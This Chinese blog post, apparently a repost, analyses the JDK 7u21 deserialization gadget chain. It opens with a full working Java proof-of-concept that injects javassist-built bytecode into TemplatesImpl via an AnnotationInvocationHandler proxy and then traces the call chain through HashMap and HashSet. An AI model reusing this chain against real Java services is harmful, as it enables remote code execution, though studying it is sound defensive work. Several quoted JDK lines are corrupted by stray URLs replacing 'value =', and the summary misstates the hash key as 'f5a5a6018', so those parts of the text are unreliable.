前言
環境
倒序分析
- TemplatesImpl
- AnnotationInvocationHandler
- HashMap
總結

前言

聽說jdk7u21的反序列化涉及的知識量很多，很難啃，具體來看看咋回事

環境

jdk7u21

IDEA 2021.1.2

javassist

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.21.0-GA</version>
</dependency>

使用的代碼如下，復現時推薦手寫一遍

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import java.lang.reflect.Proxy;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;

public class Main{
    public static void main(String[] args) throws Exception {
        // 生成惡意類的位元組碼
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        byte[] evilClass = payload.toBytecode();

        // 創建templates物件，并反射修改其中的屬性
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, new byte[][]{evilClass});  // 注意這里是byte二維陣列
        // 反射修改值
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "test");
        // 反射修改值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        // 修改值
        Field auxClasses = templates.getClass().getDeclaredField("_auxClasses");
        auxClasses.setAccessible(true);
        auxClasses.set(templates, null);

        Field aClass = templates.getClass().getDeclaredField("_class");
        aClass.setAccessible(true);
        aClass.set(templates, null);
        
        // key為固定值，后面會解釋
        String key = "f5a5a608";
        HashMap map = new HashMap();
        map.put(key, "xxx");

        // 獲取構造器，并使用動態代理，創建proxy物件
        Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Templates.class, map);// AnnotationInvocationHandler.memberValues -> hashMap  type->Templates.Class
        
        Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), templates.getClass().getInterfaces(), invocationHandler);

        LinkedHashSet linkedHashSet = new LinkedHashSet(); // 序列化物件
        linkedHashSet.add(templates);
        linkedHashSet.add(proxy);
        map.put(key, templates);  // 修改key對應的value，避免本地觸發payload

        // 模擬序列化和反向序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(linkedHashSet);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
	}
}

倒序分析

執行上面的java代碼，由于給定執行的代碼為new java.io.IOException().printStackTrace();，所以會報錯顯示如下資訊：

at EvilClass.<clinit>(EvilClass.java)
...
at java.lang.reflect.Constructor.newInstance(Constructor.java:525)
at java.lang.Class.newInstance0(Class.java:374)
at java.lang.Class.newInstance(Class.java:327)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:380)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)
at java.util.HashMap.put(HashMap.java:475)
at java.util.HashSet.readObject(HashSet.java:309)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
at com.bitterz.stream.CommonCollectionsLearn.main(CommonCollectionsLearn.java:130)

這里省略的部分都是反射或者native方法，不是呼叫鏈的關鍵資訊，從上往下倒退可以看出，EvilClass在使用構造方法時觸發惡意代碼，構造方法是從TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->Class.newInstance()觸發的，那我們先看看TemplatesImpl這個類的呼叫程序

TemplatesImpl

TemplatesImpl#getTransletInstance

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (){}
}

看到前面兩個filed頓感熟悉呀，我們的代碼里面正好把Templates物件的_name和_class設定"test"和null了，所以會執行TemplatesImpl#defineTransletClasses方法，跟進一下這個方法

TemplatesImpl#defineTransletClasses

private void defineTransletClasses() throws TransformerConfigurationException {
    if (_bytecodes == null) {//throw exception;}

    TransletClassLoader loader = (TransletClassLoader) ..; // 獲取類加載器

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (){}
}

繼續省略了報錯、catch等不關鍵代碼，這里有兩個關鍵點：

由于_bytecodes被我們為new byte[][]{evilClass}，也就是存放了惡意位元組碼，所以進入try代碼塊中，這里最關鍵的代碼是_class[i] = loader.defineClass(_bytecodes[i]);,也就是遍歷_bytecodes陣列中的所有位元組碼，然后用defineClass方法將其加載到jvm中，并回傳一個類物件到_class陣列中，
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}，由于我們使用動態代理創建類時，呼叫的是無參構造方法，所以ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"，另外我們給進去的惡意類的父類也被設定為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet，所以superClass.getName().equals(ABSTRACT_TRANSLET)為true，執行代碼_transletIndex = i;，此時i=0，

defineTransletClasses方法執行完后，回傳到TemplatesImpl#getTransletInstance的中，執行 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();這里由于_class中只有一個惡意類物件，而且_transletIndex剛好為0，所以觸發惡意類的構造方法，

TemplatesImpl類中呼叫鏈也就分析完了，那么來看看newTransformer方法為何會被呼叫

AnnotationInvocationHandler

這一段的呼叫鏈是

at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)
java.util.HashMap.put(HashMap.java:475)

先來看看呼叫鏈是如何從HashMap.put到AnnotationInvocationHandler.invoke的，HashMap#put方法如下

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = https://www.cnblogs.com/bitterz/p/e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

呼叫鏈中com.sun.proxy.$Proxy0.equals實際上指的是動態代理創建的物件呼叫了其equals方法，所以我們可以定位到key.equals(k)，而在衣服陳述句的第二條中執行了k=e.key，而e=table[i]，這里實際上涉及到LinkedHashSet的鍵值存盤方式問題，這里先直接給結論，k就是惡意類物件templates，后面再分析為什么，

由于動態代理創建的類呼叫了其equals方法，根據動態代理的特性，會呼叫到代理類AnnotationInvocationHandler#invoke方法，那么來具體看看這個方法

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;

        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

在實際的呼叫中，傳入的引數：var1=proxy, var2=equals, var3=templates惡意類物件，equals方法需要的引數型別為Object，因此第一個if條件為true，進入AnnotationInvocationHandler#equalsImpl方法，跟進一下這個方法

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

此時，傳入的引數var1=templates惡意物件，這個方法中最重要的代碼塊是for回圈，但是要先看看for回圈前面的兩行代碼，跟進一下AnnotationInvocationHandler#getMemberMethods方法

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}  // 我們的代碼中反射呼叫的構造方法

這里需要回看一下我們的代碼反射創建AnnotationInvocationHandler物件的部分以及AnnotationInvocationHandler的構造方法，因為我們傳入的兩個引數是Templates.class和HashMap物件，所以AnnotationInvocationHandler#getMemberMethods獲取的就是Templates的所有方法物件，然后我們回到AnnotationInvocationHandler#equalsImpl方法的for回圈部分，這里有兩個關鍵點：

var9，呼叫AnnotationInvocationHandler#isOneOfUs(Object)，代碼比較簡單，就不跟進了，回傳值為null
var5.invoke(var1)，由于var9為null，所以for回圈也就意味著遍歷呼叫Templates所有方法，而且呼叫物件是傳入的var1，也就是我們構造的惡意物件templates

templates的各種引數被精心設計過，所以會從newTransformer呼叫到惡意類的構造方法，從而觸發其中的惡意代碼，到這里，我們梳理通了AnnotationInvocationHandler中的呼叫鏈，但有個問題沒有解決，那就是前面提到的HashMap#put方法那一個關鍵的if陳述句

if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

HashMap

現在來看看HashMap#put前面的呼叫鏈

at java.util.HashMap.put(HashMap.java:475)
at java.util.HashSet.readObject(HashSet.java:309)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)

省略ObjectInputStream#readObject之后的不重要的呼叫堆疊，由于ObjectInputStream#readObject反序列化時，會自動呼叫被反序列化類的readObject方法，也就是LinkedHashSet，我們的代碼中序列化的類，而LinkedHashSet沒有實作readObject方法，而是繼承自HashSet，所以呼叫了HashSet#readObject跟進一下該方法

HashSet#readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

HashSet#add

Object PRESENT = new Object();
public boolean add(E e) {
	return map.put(e, PRESENT)==null;
}

從readObject的for回圈處和add方法可見，HashSet管理輸入的鍵值的方法是，將輸入物件作為HashMap的key，以保證其唯一性，可以add重復的值，列印HashSet#size檢驗，

繼續說HashSet#readObject方法，先創建一個map后，用s.readInt()獲取序列化時hashSet的size，然后進入for回圈，依次讀取序列化時HashSet中的每個物件，并作為map的key，這時就會呼叫到HashMap#put方法

HashMap#put

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = https://www.cnblogs.com/bitterz/p/e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

由于真正觸發惡意代碼的是HashMap.put(proxy)時觸發，此時templates已經反序列化好了，所以我們從這個基礎角度去看代碼，key=proxy，value=https://www.cnblogs.com/bitterz/p/object

呼叫hash(key)獲取hash值，跟進一下這個方法

HashMap#hash

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

此時k=proxy，if判斷為空，所以h=0，執行到k.hashCode()，由于k=proxy，所以會呼叫AnnotationInvocationHandler.invoke方法

這里就不重復粘貼代碼了，通過一些列if判斷后，會進入AnnotationInvocationHandler#hashCodeImpl方法，跟進一下該方法

AnnotationInvocationHandler#hashCodeImpl

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

此時需要注意的是，this.memberValues是我們的代碼中創建AnnotationInvocationHandler物件時給進去的HashMap，這個HashMap只有一個鍵值對("f5a5a608"->templates)，在這個基礎下，繼續分析這里的代碼，for回圈先得到var3=("f5a5a608"->templates)，然后執行var1+=......

計算第一部分((String)var3.getKey()).hashCode()，var3.getKey()="f5a5a608"

很巧的是，"f5a5a608".hashCode()恰好為0，找出這個呼叫鏈的大神也太猛了- _ -!，繼續看memberValueHashCode(var3.getValue())，var3.getValue()=templates，然后跟進一下AnnotationInvocationHandler#memberValueHashCode(templates)

AnnotationInvocationHandler#memberValueHashCode

private static int memberValueHashCode(Object var0) {
    Class var1 = var0.getClass();
    if (!var1.isArray()) {
        return var0.hashCode();
    } else if (var1 == byte[].class) {
        return Arrays.hashCode((byte[])((byte[])var0));
    } else if (var1 == char[].class) {
        return Arrays.hashCode((char[])((char[])var0));
    } else if (var1 == double[].class) {
        return Arrays.hashCode((double[])((double[])var0));
    } else if (var1 == float[].class) {
        return Arrays.hashCode((float[])((float[])var0));
    } else if (var1 == int[].class) {
        return Arrays.hashCode((int[])((int[])var0));
    } else if (var1 == long[].class) {
        return Arrays.hashCode((long[])((long[])var0));
    } else if (var1 == short[].class) {
        return Arrays.hashCode((short[])((short[])var0));
    } else {
        return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
    }
}

此時的輸入var0=templates，直接進入第一個if陳述句代碼塊，回傳templates.hashCode()，假定其為X，然后回傳到AnnotationInvocationHandler#hashCodeImpl，var1就變成了 0 + 127 * 0 ^ X，（^表示異或，0^某數字=某數字）根據java的運算子順序127 * 0 = 0，再0 ^ X = X，所以var1 = X，然后從AnnotationInvocationHandler#hashCodeImpl回傳到HashMap#hash，其中的變數h經過后面部分的處理后假定其值為Y，然后代碼繼續向下運行

HashMap#put

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = https://www.cnblogs.com/bitterz/p/e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

此時變數hash=Y，key=proxy，value=https://www.cnblogs.com/bitterz/p/object，執行i=indexFor(hash, table.length)，由于前面只反序列化了一個物件也就是templates，所以i=0，進入for回圈檢查輸入的key是否已經存在了，首先e = ，而e.hash是多少呢？

這時我們需要將put方法的輸入帶入key=templates, value=https://www.cnblogs.com/bitterz/p/object來思考，hash=HashMap.hash(templates)，在HashMap#hash方法中呼叫templates.hashCode()獲得值X！！，然后繼續后面的處理，這不就直接獲得一個值Y嗎？！，hash=Y，然后往下執行，進入addEntry()方法，

void addEntry(int hash, K key, V value, int bucketIndex) {
        if ((size >= threshold) && (null != table[bucketIndex])) {
            resize(2 * table.length);
            hash = (null != key) ? hash(key) : 0;
            bucketIndex = indexFor(hash, table.length);
        }

        createEntry(hash, key, value, bucketIndex);  // 進入這里 hash=Y
    }

void createEntry(int hash, K key, V value, int bucketIndex) {
        Entry<K,V> e = table[bucketIndex];
        table[bucketIndex] = new Entry<>(hash, key, value, e);  // 新建一個Entry，跟進其構造方法 hash=Y
        size++;
    }

Entry(int h, K k, V v, Entry<K,V> n) {  // 構造方法
            value = https://www.cnblogs.com/bitterz/p/v;
            next = n;
            key = k;
            hash = h;  // hash=h=Y
        }

看了這個呼叫鏈就可以知道，e = Entry<templates, object> 這個物件的e.hash就等于Y！，回到HashMap#put方法

此時if條件一步一步滿足，這里其實涉及到java中if陳述句的短路特性，在&&判斷時，如果第一個條件為false，則直接判定為false，所以e.hash==hash必須為true才會執行到key.equals(k)，不得不佩服這個利用鏈的構造者，java功底太深了，

同時到這里也就很容易理解，為什么我們的代碼要在linkeHashSet.add之后才對AnnotationInvocationHandler.menberValues中的鍵值對進行修改為<"f5a5a6018", templates>，因為提前就寫好的話，在linkeHashSet.add(proxy)的時候就會本地觸發惡意代碼

總結

到這里整個呼叫鏈的分析就完成了

首先是LinkedHashSet.readObject實際呼叫HashSet.readObject，任何將templates反序列化出來，這里又涉及到HashMap來管理HashSet的物件，以及HashMap將key->value對用內部類Entry來管理，并且這個Entry.hash=HashMap.hash(key)，
而后，在HashSet.readObject中反序列化proxy物件，該物件是動態代理創建的，所以其實先會把AnnotationInvocationHandler反序列化出來，并且其中的memberValues=HashMap<"f5a5a6018"->templates>只有這一個鍵值對，而后進入HashMap.put方法中，在HashMap.hash(proxy)時，觸發代理類的invoke方法，進入AnnotationInvocationHandler#hashCodeImpl方法，而此時又由于AnnotationInvocationHandler.memberValues中的key，也就是"f5a5a6018"的hash值恰好為0，導致AnnotationInvocationHandler#hashCodeImpl的回傳值為templates物件的hash值，而后回傳到HashMap.hash(proxy)時，其回傳值與HashMap.hash(templates)相同，也就導致HashMap.put方法中判斷key是否重復時，繞過短路特性，執行到后面的key.equals(k)，也就是proxy.equals(templates)方法
此后由于動態代理的特性，進入AnnotationInvocationHandler.invoke方法，再進入equalsImpl方法，并在其中呼叫templates的所有方法，從而觸發到TemplatesImpl的惡意呼叫鏈，將惡意位元組碼通過defineClass加載到jvm中，并呼叫其構造方法，從而觸發惡意代碼，實作RCE，

這里還有一個小點需要補充，網上說TemplatesImpl呼叫鏈都是getOutputProperties開始的

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:380)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:431)
...
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)

但實際上，注釋掉_tfactory和_auxClasses反射修改值的代碼才會從getOutputProperties觸發，如果不注釋，則直接從newTransformer觸發，并且這兩個field對呼叫鏈不產生影響，

作者：bitterz 地址：https://www.cnblogs.com/bitterz/ 本文著作權歸作者和博客園所有，歡迎轉載，轉載請標明出處，如果您覺得本篇博文對您有所識訓，請點擊右下角的 [推薦]，謝謝！

轉載請註明出處，本文鏈接：https://www.uj5u.com/qiye/299887.html

標籤：訊息安全

上一篇：Burp_Suite_Pro_v1.7.37的安裝配置

下一篇：JDK7u21反序列化詳解